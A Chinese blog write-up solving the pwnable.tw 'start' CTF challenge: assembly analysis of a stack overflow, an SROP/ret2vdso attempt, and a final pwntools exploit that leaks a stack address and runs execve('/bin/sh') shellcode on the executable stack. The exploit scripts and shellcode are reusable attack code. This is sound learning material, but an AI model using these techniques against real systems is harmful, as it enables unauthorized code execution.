pwnable.rw之start分析与折腾
 
pwnable.tw 上的第一道题,实际挺简单,但是解决它也走了不少弯路,希望他人可以借鉴
0x00 序
做这个题也花了不少时间,学习了很多最后没用的资料,虽然这些知识没有用到,但是还是收获非常大的。
题目相关文件:https://github.com/Reshahar/BlogFile/tree/master/pwnable.tw-start
0x01 漏洞分析与调试
首先还是使用IDA+F5查看代码,但是结果不是很好,因为源代码就是用汇编写的,所以还是看汇编源代码
.text:08048060 _start proc near
.text:08048060 push esp
.text:08048061 push offset _exit
.text:08048066 xor eax, eax
.text:08048068 xor ebx, ebx
.text:0804806A xor ecx, ecx
.text:0804806C xor edx, edx
.text:0804806E push 3A465443h
.text:08048073 push 20656874h
.text:08048078 push 20747261h
.text:0804807D push 74732073h
.text:08048082 push 2774654Ch
.text:08048087 mov ecx, esp ; addr
.text:08048089 mov dl, 14h ; len
.text:0804808B mov bl, 1 ; fd
.text:0804808D mov al, 4
.text:0804808F int 80h ; LINUX - sys_write
.text:08048091 xor ebx, ebx
.text:08048093 mov dl, 3Ch
.text:08048095 mov al, 3
.text:08048097 int 80h ; LINUX -//这里没有识别出来是 sys_read
.text:08048099 add esp, 14h
.text:0804809C retn
代码很简单,逻辑很清晰,就是一个栈溢出,然后就是查看安全机制了,但是这里出现了一个坑…(没想到工具结果出错了,所以不要太依赖工具)
gdb-peda$ checksec
CANARY : disabled
FORTIFY : disabled
NX : ENABLED
PIE : disabled
RELRO : disabled
一看上面的结果开启了NX,首先想到的就是ROP,但是程序太小没有可以用的gadget,所以想到两个方法ret2vdso和SROP,之前没有学习过ret2vdso,就去找了不少资料,资料(英文的)我会放在最后给大家参考,这里不说这个,最后写出来的exp也没有成功,这就开始折腾了
上面的方法没有成功,所以就再第一种方法上加上了SROP,写出一个exp,这个exp在不开启ASLR是可以getshell的,脚本如下
#filename:exp_frame_no_aslr.py
#author:reshahar
from pwn import *
p = process('./start')
#p = remote('chall.pwnable.tw',10000)
#p = remote('127.0.0.1',7777)
#0xf7ffd000 0xf7ffe000
vdso = 0xf7ffd000
gad0 = vdso + 0x00000c01 #0x00000c01 : pop edx ; pop ecx ; ret
gad1 = vdso + 0x00000bd1 #0x00000bd1 : mov eax, 0x77 ; int 0x80
reread = 0x08048095
context.clear()
frame = SigreturnFrame(kernel='amd64')
frame.eax = 11
frame.ebx = 0xffffd560
frame.esp = 0xdeadbeef
frame.eip = 0x0804808f
payload1 = 'A'*20+p32(gad0)+p32(0xff)+p32(0xffffd50c)+p32(reread)+'B'*24 #buffer is little
payload2 = p32(gad1)+str(frame)+'/bin/sh\x00'
p.send(payload1+payload2)
p.interactive()
而pwnable.tw上开启ASLR很明显会失败,因为上面的很多地址都是硬编码
在之前dump vdso的时候,我就发现栈是可执行的,但是相信了工具,因为是哪里出错了
gdb-peda$ vmmap
Start End Perm Name
0x08048000 0x08049000 r-xp /root/D/stack overflow/pwnable.tw-start/start
0xf7ffb000 0xf7ffd000 r--p [vvar]
0xf7ffd000 0xf7ffe000 r-xp [vdso]
0xfffdd000 0xffffe000 rwxp [stack]
但是之前的方法行不通,又想起这个发现,还是将shellcode放到栈上试试,实现这个还是需要,shellcode和栈地址,shellcode好解决,而栈地址呢?
重新看一下汇编代码,程序的开始会把esp寄存器压栈,然后把_exit函数的地址压栈,通过调试可以发现程序最后是返回到 _exit函数去执行,所以当程序执行ret指令的时候,esp的值的地址存储的正是esp的值,然后把程序劫持到08048087(mov ecx,esp)就可以使用write将这个值打印出来,栈地址就可以获取到了,再使用gdb确定一下shellcod
e的地址和esp的地址的偏移就行可以了,下面看一下具体操作
gdb附加下断点然后单步执行直到程序读入输入的数据,esp的值就是缓冲区的起始位置
gdb-peda$ b*0x08048087
Breakpoint 1 at 0x8048087
...
gdb-peda$ x/20x $esp
0xffffd4ec: 0x41414141 0x41414141 0x41414141 0x41414141
0xffffd4fc: 0x41414141 0xffffd504 0xc931d231 0x2f2f6851
0xffffd50c: 0x2f686873 0x896e6962 0xcd0bb0e3 0xffffd680
0xffffd51c: 0xffffd726 0xffffd733 0xffffd746 0xffffd757
0xffffd52c: 0xffffd762 0xffffd772 0xffffd7a9 0xffffd7f7
gdb-peda$ x/20x $esp+24 //shellcode起始位置0xffffd504
0xffffd504: 0xc931d231 0x2f2f6851 0x2f686873 0x896e6962
0xffffd514: 0xcd0bb0e3 0xffffd680 0xffffd726 0xffffd733
0xffffd524: 0xffffd746 0xffffd757 0xffffd762 0xffffd772
0xffffd534: 0xffffd7a9 0xffffd7f7 0xffffd7ff 0xffffd80a
0xffffd544: 0xffffd81c 0xffffd847 0xffffd855 0xffffd871
栈地址0xffffd4f0
0xffffd504-0xffffd4f0 = 20 //偏移
完整exp如下:
#filename:exp.py
#author:reshahar
from pwn import *
#p = process('./start')
p = remote('chall.pwnable.tw',10000)
#execve('/bin/sh')
# xor edx,edx
# xor ecx,ecx
# push ecx
# push 0x68732f2f ;; hs//
# push 0x6e69622f ;; nib/
# mov ebx,esp
# mov al,11
# int 0x80
sh="\x31\xd2\x31\xc9\x51\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\xb0\x0b\xcd\x80"
reread = 0x08048087 # mov ecx,esp
payload1 = 'A'*20+p32(reread)
#raw_input()
p.send(payload1)
p.recvuntil("Let's start the CTF:")
stack_esp = u32(p.recv(4))
print 'stack addr'+hex(stack_esp)
off_of_sh = 20 #stack_esp offset sh
payload2 = 'A'*20+p32(stack_esp+off_of_sh)+sh
p.send(payload2)
p.interactive()
0x03 总结
简单的栈溢出,其中尝试各种技术花费了不少时间,也就是各种折腾,但是还是学习到了不少的知识
0x04 参考
[1]:http://blog.csdn.net/xiaominthere/article/details/17287965 Linux系统调用 int 80h int 0x80
[2]:http://v0ids3curity.blogspot.com/2014/12/return-to-vdso-using-elf-auxiliary.html Return to VDSO using ELF Auxiliary Vectors
[3]:http://www.2cto.com/article/201512/452080.html Sigreturn Oriented Programming (SROP) Attack攻击原理